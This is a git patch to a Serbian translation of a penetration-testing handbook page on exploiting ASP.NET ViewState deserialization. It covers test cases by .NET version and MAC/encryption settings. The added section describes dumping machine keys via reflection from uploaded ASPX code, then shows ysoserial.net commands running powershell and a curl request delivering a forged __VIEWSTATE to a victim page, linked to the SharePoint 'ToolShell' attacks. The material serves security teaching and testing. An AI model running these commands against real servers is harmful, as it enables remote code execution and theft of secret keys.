From 17325470a9f830e1dd4eeece6bc1dbc840d4e5c5 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 22 Jul 2025 20:11:39 +0000 Subject: [PATCH] Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p --- .../exploiting-__viewstate-parameter.md | 67 ++++++++++++++----- 1 file changed, 49 insertions(+), 18 deletions(-) diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md index 19313ce4d..51404c5a0 100644 --- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md +++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md @@ -11,20 +11,20 @@ Informacije o ViewState-u mogu se karakterisati sledećim svojstvima ili njihovim kombinacijama: - **Base64**: -- Ovaj format se koristi kada su oba atributa `EnableViewStateMac` i `ViewStateEncryptionMode` postavljena na false. -- **Base64 + MAC (Kod za autentifikaciju poruka) Omogućen**: -- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta za ViewState podatke. -- **Base64 + Enkriptovan**: -- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost ViewState podataka. +- Ovaj format se koristi kada su atributi `EnableViewStateMac` i `ViewStateEncryptionMode` postavljeni na false. +- **Base64 + MAC (Kod za autentifikaciju poruka) omogućen**: +- Aktivacija MAC-a se postiže postavljanjem atributa `EnableViewStateMac` na true. Ovo obezbeđuje verifikaciju integriteta podataka ViewState-a. +- **Base64 + Enkriptovano**: +- Enkripcija se primenjuje kada je atribut `ViewStateEncryptionMode` postavljen na true, obezbeđujući poverljivost podataka ViewState-a. ## Test slučajevi Slika je tabela koja detaljno opisuje različite konfiguracije za ViewState u ASP.NET-u na osnovu verzije .NET framework-a. Evo sažetak sadržaja: -1. Za **bilo koju verziju .NET-a**, kada su i MAC i Enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje. -2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali Enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r." -3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je Enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj." -4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i Enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r." +1. Za **bilo koju verziju .NET-a**, kada su i MAC i enkripcija onemogućeni, MachineKey nije potreban, i stoga ne postoji primenljiva metoda za njegovo identifikovanje. +2. Za **verzije ispod 4.5**, ako je MAC omogućen, ali enkripcija nije, MachineKey je potreban. Metoda za identifikovanje MachineKey-a se naziva "Blacklist3r." +3. Za **verzije ispod 4.5**, bez obzira na to da li je MAC omogućen ili onemogućen, ako je enkripcija omogućena, MachineKey je potreban. Identifikovanje MachineKey-a je zadatak za "Blacklist3r - Budući razvoj." +4. Za **verzije 4.5 i više**, sve kombinacije MAC-a i enkripcije (bilo da su oba true, ili jedan true a drugi false) zahtevaju MachineKey. MachineKey se može identifikovati koristeći "Blacklist3r." ### Test slučaj: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false @@ -50,7 +50,7 @@ In order to **enable ViewState MAC** for a **specific page** we need to make fol ```bash <%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%> ``` -Možemo to uraditi i za **celu** aplikaciju postavljanjem u **web.config** datoteci kao što je prikazano u nastavku: +Možemo to uraditi i za **celu** aplikaciju postavljanjem u **web.config** datoteku kao što je prikazano u nastavku: ```xml @@ -102,29 +102,29 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv --generator = {__VIWESTATEGENERATOR parameter value} ``` -U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar, **ne** morate **navesti** `--generator` parametar **već ove**: +U slučajevima kada server **ne šalje** `_VIEWSTATEGENERATOR` parametar **ne morate** da **obezbedite** `--generator` parametar **već ove**: ```bash --apppath="/" --path="/hello.aspx" ``` ### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true -U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je vrednost verovatno enkriptovana i **biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a** kako biste iskoristili ranjivost. +U ovom slučaju nije poznato da li je parametar zaštićen MAC-om. Tada je verovatno da je vrednost enkriptovana i **biće vam potrebna Mašinska Ključ za enkripciju vašeg payload-a** kako biste iskoristili ranjivost. **U ovom slučaju** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **modul je u razvoju...** -**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ovaj parametar ukloni i pošalje nekriptovani payload, on će i dalje biti obrađen.** +**Pre .NET 4.5**, ASP.NET može **prihvatiti** **nekriptovani** \_`__VIEWSTATE`\_parametar od korisnika **čak i** ako je **`ViewStateEncryptionMode`** postavljen na _**Uvek**_. ASP.NET **samo proverava** **prisutnost** **`__VIEWSTATEENCRYPTED`** parametra u zahtevu. **Ako se ukloni ovaj parametar i pošalje nekriptovani payload, on će i dalje biti obrađen.** -Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga datoteka, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a. +Stoga, ako napadači pronađu način da dobiju Mašinski ključ putem druge ranjivosti kao što je pretraga fajlova, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) komanda korišćena u **Slučaju 2**, može se koristiti za izvođenje RCE koristeći ranjivost deserializacije ViewState-a. - Uklonite `__VIEWSTATEENCRYPTED` parametar iz zahteva kako biste iskoristili ranjivost deserializacije ViewState-a, inače će se vratiti greška u validaciji Viewstate MAC-a i eksploatacija će propasti. ### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false -Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config datoteke kao što je prikazano ispod. +Možemo naterati korišćenje ASP.NET okvira tako što ćemo navesti dole navedeni parametar unutar web.config fajla kao što je prikazano ispod. ```xml ``` -Alternativno, ovo se može uraditi tako što se specificira opcija ispod unutar `machineKey` parametra u web.config datoteci. +Alternativno, ovo se može uraditi tako što ćete navesti opciju ispod unutar `machineKey` parametra u web.config datoteci. ```bash compatibilityMode="Framework45" ``` @@ -155,7 +155,7 @@ Ako imate vrednost `__VIEWSTATEGENERATOR`, možete pokušati da **koristite** pa ![](https://notsosecure.com/sites/all/assets/group/nss_uploads/2019/06/4.2.png) -Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do van-bend zahteva ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). +Uspešna eksploatacija ranjivosti deserializacije ViewState-a dovodi do zahteva van kanala ka serveru pod kontrolom napadača, koji uključuje korisničko ime. Ova vrsta eksploata je prikazana u dokazu koncepta (PoC) koji se može pronaći kroz resurs pod nazivom "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Za dalja objašnjenja o tome kako funkcioniše proces eksploatacije i kako koristiti alate poput Blacklist3r za identifikaciju MachineKey-a, možete pregledati pruženi [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC). ### Test Case 6 – ViewStateUserKeys se koristi @@ -170,12 +170,43 @@ Za sve test slučajeve, ako ViewState YSoSerial.Net payload radi **uspešno**, s Proverite [dodatne informacije ovde]() -## Reference +### Ispisivanje ASP.NET mašinskih ključeva putem refleksije (SharPyShell/SharePoint ToolShell) + +Napadači koji su u mogućnosti da **otpreme ili izvrše proizvoljni ASPX kod** unutar ciljnog web korena mogu direktno da preuzmu tajne ključeve koji štite `__VIEWSTATE` umesto da ih brute-forcuju. Minimalni payload koji otkriva ključeve koristi interne .NET klase putem refleksije: +```csharp +<%@ Import Namespace="System.Web.Configuration" %> +<%@ Import Namespace="System.Reflection" %> + +``` +Zahtev za stranicu ispisuje **ValidationKey**, **DecryptionKey**, algoritam enkripcije i ASP.NET režim kompatibilnosti. Ove vrednosti se sada mogu direktno uneti u **ysoserial.net** da bi se kreirao validan, potpisan `__VIEWSTATE` uređaj: +```bash +ysoserial.exe -p ViewState -g TypeConfuseDelegate \ +-c "powershell -nop -c \"whoami\"" \ +--generator= \ +--validationkey= --validationalg= \ +--decryptionkey= --decryptionalg= \ +--islegacy --minify +curl "http://victim/page.aspx?__VIEWSTATE=" +``` +Ova **key-exfiltration primitive** je masovno iskorišćena protiv on-prem SharePoint servera 2025. godine ("ToolShell" – CVE-2025-53770/53771), ali je primenljiva na svaku ASP.NET aplikaciju gde napadač može da pokrene server-side kod. + +## References - [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/) - [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817) - [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/) - [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets) +- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)